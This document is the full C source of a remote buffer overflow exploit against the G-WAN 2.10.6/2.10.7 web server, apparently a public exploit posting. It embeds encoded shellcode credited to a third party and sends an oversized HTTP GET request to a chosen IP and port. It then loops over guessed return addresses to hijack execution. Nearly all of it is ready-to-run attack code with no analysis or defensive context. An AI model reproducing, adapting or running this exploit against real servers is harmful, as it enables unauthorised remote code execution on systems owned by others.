G-WAN 2.10.6 / 2.10.7 Remote Buffer Overflow

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>
#include <sys/socket.h>
#include <arpa/inet.h>

/* Shellcode written by gunslinger, http://www.shell-storm.org/shellcode/files/shellcode-679.php */

char code[] =
  "%eb%11%5e%31%c9%b1%43%80%6c%0e%ff%35%80%e9%01"
  "%75%f6%eb%05%e8%ea%ff%ff%ff%95%66%f5%66%07%e5"
  "%40%87%9d%a3%64%a8%9d%9d%64%64%97%9e%be%18%87"
  "%9d%62%98%98%98%be%16%87%20%3c%86%88%be%16%02"
  "%b5%96%1d%29%34%34%34%a3%98%55%62%a1%a5%55%68"
  "%66%68%68%6c%55%62%9a%55%64%97%9e%a3%64%64%a8"
  "%9d%3b";

void usage()
{
  extern char *__progname;

  (void) fprintf(stderr, "usage: %s ip port\n", __progname);

  exit(EXIT_FAILURE);
}

char *build(char *code, char *eip)
{
  char nops[1024], *egg;
  int len = 1094;
 
  memset(nops, '@', sizeof nops);
  egg = (char *) malloc(4096);
  (void) snprintf(egg, 4096, "GET /csp/%.*s%s%.*s%%%02x%%%02x%%%02x%%%02x HTTP/1.0\r\n\r\n",
    512, nops,
    code,
    len - (9 + 512 + (int) strlen(code) / 3 + 4 + 13), nops,
    eip[0] & 0xff, eip[1] & 0xff, eip[2] & 0xff, eip[3] & 0xff);
  return egg;
}

int overflow(char *ip, char *port, char *egg)
{
  char reply[1024];
  struct sockaddr_in sin;
  int n, e, s;

  bzero(&sin, sizeof sin);
  sin.sin_family = AF_INET;
  e = inet_pton(AF_INET, ip, &sin.sin_addr.s_addr);
  if (e == -1)
    return -1;
  sin.sin_port = htons(strtol(port, NULL, 0));
  s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (s == -1)
    return -1;
     
  e = connect(s, (struct sockaddr *) &sin, sizeof sin);
  if (e == -1)
    return -1;
 
  n = write(s, egg, strlen(egg));
  if (n != strlen(egg))
    return -1;

  (void) read(s, reply, sizeof reply);
  (void) close(s);
  return 0;
}

int try(char *code, char *ip, char *port, char *addr)
{
  char *egg;
  int e;
 
  (void) fprintf(stderr, "(trying %p)\n", addr);

  egg = build(code, (char *) &addr);
  e = overflow(ip, port, egg);
  if (e == -1)
    return -1;
  free(egg);
  return 0;
}

int main(int argc, char **argv)
{
  char *ip, *port;
  u_int64_t addr;
  int e;

  if (argc != 3)
    usage();
  ip = argv[1];
  port = argv[2];
 
  for (addr = 0xf7da4dc0;; addr -= 4096)
    {
      e = try(code, ip, port, (char *) addr);
      if (e == -1)
 errx(1, "try");
      sleep(1);
     
      addr ^= 0x40000;
      e = try(code, ip, port, (char *) addr);
      if (e == -1)
 errx(1, "try");
      sleep(1);

      addr ^= 0x40000;
    }

  exit(EXIT_SUCCESS);
}